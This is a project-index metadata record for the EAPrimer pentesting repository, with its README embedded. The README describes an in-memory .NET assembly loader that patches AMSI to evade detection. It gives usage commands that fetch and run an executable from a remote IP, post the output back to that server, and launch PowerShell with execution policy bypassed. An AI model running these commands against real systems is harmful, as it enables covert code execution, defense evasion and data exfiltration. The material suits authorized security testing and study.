{"id":18015620,"url":"https://github.com/m8sec/eaprimer","last_synced_at":"2025-03-26T18:31:25.496Z","repository":{"id":94842807,"uuid":"298064170","full_name":"m8sec/EAPrimer","owner":"m8sec","description":"C# project to Reflectively load .Net assemblies in memory ","archived":false,"fork":false,"pushed_at":"2024-06-19T14:31:24.000Z","size":33,"stargazers_count":17,"open_issues_count":0,"forks_count":7,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-03-22T06:41:38.329Z","etag":null,"topics":["amsi","csharp","executing-assemblies","exploit","net-assemblies","pentesting","powershell","windows"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/m8sec.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":null,"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":null}},"created_at":"2020-09-23T18:47:38.000Z","updated_at":"2024-10-10T09:16:21.000Z","dependencies_parsed_at":"2024-06-20T01:11:26.434Z","dependency_job_id":null,"html_url":"https://github.com/m8sec/EAPrimer","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m8sec%2FEAPrimer","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m8sec%2FEAPrimer/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m8sec%2FEAPrimer/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m8sec%2FEAPrimer/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/m8sec","download_url":"https://codeload.github.com/m8sec/EAPrimer/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245712683,"owners_count":20660280,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["amsi","csharp","executing-assemblies","exploit","net-assemblies","pentesting","powershell","windows"],"created_at":"2024-10-30T04:14:34.896Z","updated_at":"2025-03-26T18:31:25.215Z","avatar_url":"https://github.com/m8sec.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# EAPrimer\n\nEAPrimer can be used to load .Net assemblies from a filepath or URL. On startup, it will attempt to perform in-memory patching of AMSI to bypass detection. By default, output is written to the console, however, this can be directed to a file or even sent via HTTP POST request to a remote server.\n\nThe latest, compiled version of the code is available \u003ca href=\"bin/\"\u003ehere\u003c/a\u003e.\n\n#### Usage:\nExecute remote file with arguments and send output to server:\n```text\nEAPrimer.exe -path=https://192.168.1.2/Seatbelt.exe -post=https://192.168.1.2 -args=\"-group=all\"\n```\n\nExecute local file with arguments and write output to file:\n```text\nEAPrimer.exe -path=.\\Seatbelt.exe -post=results.txt -args=\"-group=all\"\n```\n\n\n## Invoke-EAPrimer.ps1\nThe main purpose for writing EAPrimer.exe was to act as a support, or \"Primer\", for executing assemblies. Ultimately allowing for an \"execute_assembly\" module in pentest frameworks such as \u003ca href=\"https://github.com/m8sec/ActiveReign\"\u003eActiveReign\u003c/a\u003e and \u003ca href=\"https://github.com/byt3bl33d3r/CrackMapExec\"\u003eCrackMapExec\u003c/a\u003e. The PowerShell script allows for added flexibility to create these modules.\n\n\u003e ⚠️ Alternate methods have since been used to more efficiently load .NET assemblies in memory. However, I have kept this file in the repo as an additional PoC.\n\n#### Usage:\n```powershell\npowershell -exec bypass\nImport-Module .\\Invoke-EAPrimer.ps1\nInvoke-EAPrimer -Path .\\Seatbelt.exe -Args -group=all\n```\n\n## Credit\nThis was one of my first deep dives into C# and much of the heavy lifting was already done by these guys:\n* \u003ca href=\"https://twitter.com/Flangvik\"\u003eFlangvik\u003c/a\u003e - \u003ca href=\"https://github.com/Flangvik/NetLoader\"\u003eNetLoader\u003c/a\u003e\n* \u003ca href=\"https://twitter.com/_RastaMouse/\"\u003e_RastaMouse\u003c/a\u003e - \u003ca href=\"https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs\"\u003eAMSI Bypass\u003c/a\u003e\n\n## Notes\n* Built with .Net 4.0\n* Checkout \u003ca href=\"https://github.com/Flangvik/SharpCollection\"\u003eSharpCollection\u003c/a\u003e for hosted payloads to test it out!\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fm8sec%2Feaprimer","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fm8sec%2Feaprimer","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fm8sec%2Feaprimer/lists"}